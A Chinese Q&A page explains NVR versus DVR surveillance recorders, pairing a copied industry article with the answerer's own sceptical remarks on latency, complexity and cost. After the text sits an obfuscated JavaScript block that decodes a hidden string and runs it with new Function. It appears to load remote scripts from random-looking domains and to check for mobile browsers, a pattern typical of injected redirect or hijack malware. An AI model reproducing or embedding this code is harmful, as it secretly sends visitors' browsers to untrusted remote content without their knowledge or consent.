NVR 是什么?有什么作用?与DVR有什么区别?

2024-12-27 17:19:08
推荐回答(1个)
回答1:

  2000年中国第一台家用DVR问世,开始进入中国安防领域。随后,在技术以及市场的双重驱动下,DVR开始突飞猛进地发展。来到2006年,DVR已经占据了整个视频监控将近40%的市场份额。在视频监控从模拟向数字化发展的进程中,DVR扮演了极其重要的角色,可以说,DVR开创了一个数字监控时代。 从2006年开始,随着网络化技术的发展和信息化建设的深入,视频监控产业开始进入网络化时代,市场对DVR的网络化功能及网络适应性要求越来越高,在这种需求下,一些主流厂商也开始重视网络功能,推出DVS(网络视频服务器)产品,对此,有业内人士称,DVR将迎来“后DV时代”。然而,由于DVS产品强大了网络功能,却降低了本地管理和控制能力,其显然无法涵盖DVR的原有市场。而DVR作为数模混合产品,又始终没有走出其半数字半模拟的尴尬境地。因此视频监控市场的竞争越来越激烈,产品同质化也越来越严重――市场在呼唤真正更新换代的产品。在监控市场网络化需求下,2007年开始,被称为DVR的取代者――NVR(Network Video Recorder)概念被频繁提及。 事实上,在国外,NVR产品与技术已经开始应用于一些高端安防领域。而在国内,专业的安防媒体和其它理论界也对NVR恩宠有加,对NVR市场发展前景的评估也极为乐观。然而,这两年,整个网络监控产品的市场推广又似乎并没有取得预期的成果,这导致国内NVR行业走得很缓慢、很辛苦。于是厂商和用户似乎都开始对NVR、网络视频监控产生疑惑,NVR,乃至整个网络视频监控产业的发展何去何从?
  编辑本段NVR V.S DVR
  NVR有着怎样的优势去“叫板”DVR?纵观NVR的功能与特色,有几个方面可与“前辈”DVR进行比较: 部署与扩容 传统嵌入式DVR系统为模拟前端,监控点与中心DVR之间采用模拟方式互联,因受到传输距离以及模拟信号损失的影响,监控点的位置也存在很大的局限性,无法实现远程部署。而NVR作为全网络化架构的视频监控系统,监控点设备与NVR之间可以通过任意IP网络互联,因此,监控点可以位于网络的任意位置,不会受到地域的限制。 布线 因DVR采用模拟前端,中心到每个监控点都需要布设视频线、音频线、报警线、控制线等诸多线路,稍不留神,哪条线出了问题还需一条一条进行人工排查,因此布线的工作量相当繁琐,并且,工程规模越大则工作量越大,布线成本也越高。对比NVR,在NVR系统中,中心点与监控点都只需一条网线即可进行连接,免去了上述包括视频线、音频线等在内的所有繁琐线路,成本的降低也就自然而然了。 即插即用 长久以来,包括NVR在内的网络产品,因罩着网络这层神秘面纱――要设IP地址,要操作复杂的管理后台等等,一直让大部分工程商“敬而远之”,但现在,使用NVR已经不必这样了,只需接上网线、打开电源,系统会自动搜索IP前端、自动分配IP地址、自动显示多画面,在安装设置上不说优于DVR,但至少是旗鼓相当了。 录像存储 DVR受到用户欢迎的一个重要因素就是它拥有强大的录像、存储功能,但是这一性能的发挥仍旧受制于其模拟前端,即DVR无法实现前端存储,一旦中心设备或线路出现故障,录像资料就无从获取了;而目前,市面上的NVR产品及系统可以支持中心存储、前端存储以及客户端存储三种存储方式,并能实现中心与前端互为备份,一旦因故导致中心不能录像时,系统会自动转由前端录像并存储;在存储的容量上,NVR也装置了大容量硬盘,并设硬盘接口、网络接口、USB接口,可满足海量的存储需求。 安全性 网络产品长期以来被认为有安全隐患,的确,在没有安全可靠的机制条件下,网络确实是一个多事之地,然而,在网络监控系统中,一旦通过使用AES码流加密、用户认证和授权等这些手段来确保安全,网络监控产品源于网络的安全隐忧就完全消除了,目前,NVR产品及系统已经可以实现这些保障;而相比之下,DVR模拟前端传输的音频、视频裸信号,没有任何加密机制,很容易被非法截获,而一旦被截获则很轻易就被显示出来。 管理 NVR监控系统的全网管理应当说是其一大亮点,它能实现传输线路、传输网络以及所有IP前端的全程监测和集中管理,包括设备状态的监测和参数的浏览;而DVR同样又是因其中心到前端为模拟传输,从而无法实现传输线路以及前端设备的实时监测和集中管理,前端或线路有故障时,要查实具体原因非常不便。 NVR取代DVR的原因 从上面产品层面的比较来看,NVR确实已经具备了全面取代DVR的基础。而从市场层面来看,NVR同样也具备全面取代DVR的趋势,原因在于以下三个方面 : 基础网络现在越来越普及,不管是远程网络还是被监控单位内部的局域网目前都非常普及和成熟,这就具备了网络化部署的先决条件; 人们对监控的网络化需求日益突出,不仅要在本地实现监控,还希望能够通过远程,甚至通过无线方式进行监控,而这些只有进行网络化才能满足用户的需求; 在前端方面,IP摄像机这几年发展非常迅速,很多原先做模拟摄像机、DVR和DVS的厂家纷纷在推IP摄像机,由此可以看出,摄像机和模拟前端的IP化是当前及未来非常明显的一个潮流,这一趋势在2007年的深圳安博会上已经能够清楚看到,而且应该说是非常明显。前几年还在寥寥无几的IP摄像机在上届安博会上已经是琳琅满目。前端数字化,网络化是大势所趋,从价钱方面来看,曾经的一台IP摄像机就卖到几千块钱,现在几百块钱就可以买一台,价格的下降,让消费者可以承受 ,这也为部署前端准备了充分的条件,也使得用户具备了网络化部署的条件。 从以上三个方面来看,无论是基础网络的成熟度,还是前端设备的成熟度,抑或是人们对监控的需求,都让我们看以了网络化部署的方向,都为包括NVR在内的网络监控产品的普及奠定了坚实基础。不久前,不久前,iSuppli公司根据市场调查数据也给出这样的预测,全球IP监控系统各种设备的市场总额将在2010年达到71亿美元,远高于2006年的7.35亿美元。在国内,2006年以前,网络视频监控占整个视频监控市场还不到15%,而到2008年底预计将占到47%左右,增长率高达40%。 NVR仍需努力拓展市场 纵观视频监控整个市场,NVR前景一片大好,再加上有着较大市场竞争优势的产品功能,大有由其主沉浮的气势。然而,真要做到这个结果却并不容易,单从产品功能来看,与之相比,DVR已经过几载沉淀,受过市场和时间的严苛洗礼,其成熟的市场认知度是当前NVR所无可比拟的。另外,如本文开篇所述,国内DVR市场竞争相当激烈,DVR厂商数量众多,层次良莠不齐,但另一方面,竞争也促使一些高质量的主流厂商不断完善产品性能、推动技术进步,他们并没有无视网络化的大时代潮流,如前文提到的DVS产品就能说明这点,虽说DVS与DVR、NVR定位不同,但至少说明,对NVR来说,欲主江山,除了具备技术优势,还需要有着准确的市场定位、迅速的市场反应等很多不可或缺的条件因素。 总而言之,NVR虽凭其技术与功能优势在众人关注下“风光”上市,但眼前的这段路恐怕仍将多有坎坷,在这场与DVR的对弈中,技术性能、市场渠道、品牌支持等诸多要素都须严阵以待,并以DVR为前鉴,坚忍住在市场开拓前期的阵痛,才有可能抢占DVR的主导地位,并真正成为市场的主导者甚至是DVR的代替者。

  我懒得敲字,所以以上为我在网络上摘抄的一部分东西,当然,全部是讲NVR好处的。我是做过几年监控的,自认为也学过一点东西,你在看了上面挺啰嗦的文字之后,我自以为是地简单解释一下:DVR我就不说了,是半数字半模拟的录像机,之所以说是半模拟就是因为它的输入信号和主要输出信号都是模拟的,办数字是指存储方式和网络输出方式都是数字的;而NVR比DVR纯粹点,输入输出、存储都是数字的,它根本没法接入BNC接头或者同轴电缆的视频线,只能插网线,当然,它和DVR一样,主要功能还是存储,至于外接显示,甚至分屏、矩阵、多画面显示,控制前端设备等等,都是附属功能,它还是存储设备。
  上面我摘抄的文字都是说好话的,我不重复了。我泼泼冷水。NVR也不是什么新鲜事了,发展无论在国内还是国外,也有不短的时间,但为什么发展一直不是很好呢?关键还是这样几个原因(个人理解,有意见请不要板砖):一个是我个人总觉得数字信号的图像在视频监控这方面还是没有模拟信号的看着舒服,特别是当你见到马赛克、图像扭曲变形、失真时,真的很痛苦,而这些在数字信号上经常出现;二是数字信号传输始终有个编码或者解码或者两者皆有的过程,这个过程是要时间的,所以数字信号总有延迟的问题,差点的甚至达到好几秒,也就是说你看的画面不是实时画面,使历史纪录片了,你觉得有意思吗?除了延迟,网络质量对图像的影响很大,网络质量不好时,图像除了给你几张花脸、马赛克之外,那种看动画片般的跳动感肯定能让你热泪盈眶,因为很有怀旧的感觉啊,记得好多年前我在网上看电影时就有那种感觉;第三,NVR的复杂那可不是盖的,绝对徘徊在牛A和牛C之间,尽管现在有所谓的智能寻找IP地址的NVR了,可是你想,前端后端的设备都还是要配Ip地址吧,就算这东西能自动匹配,可是遇到不同网段的设备怎么办?用交换机和路由器?算了吧,保证能让你抓狂,跨网段,共网关的问题就够呛。所以使用NVR的要是高手才行,如果出了问题的话,还得高手解决才行;或者每个网段配不同的NVR?疯了吧,这就是第四个问题:贼贵。买台NVR的钱能买好多台DVR了。也有便宜的NVR?好像是有啊,不过,什么自动匹配IP地址啦、多IP输入、多画面显示之类的太高级了,您就别想了。
  还有一些问题没说完,我也不想说了。不过,具体的情况如果你很感兴趣,不妨自己多去了解。

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();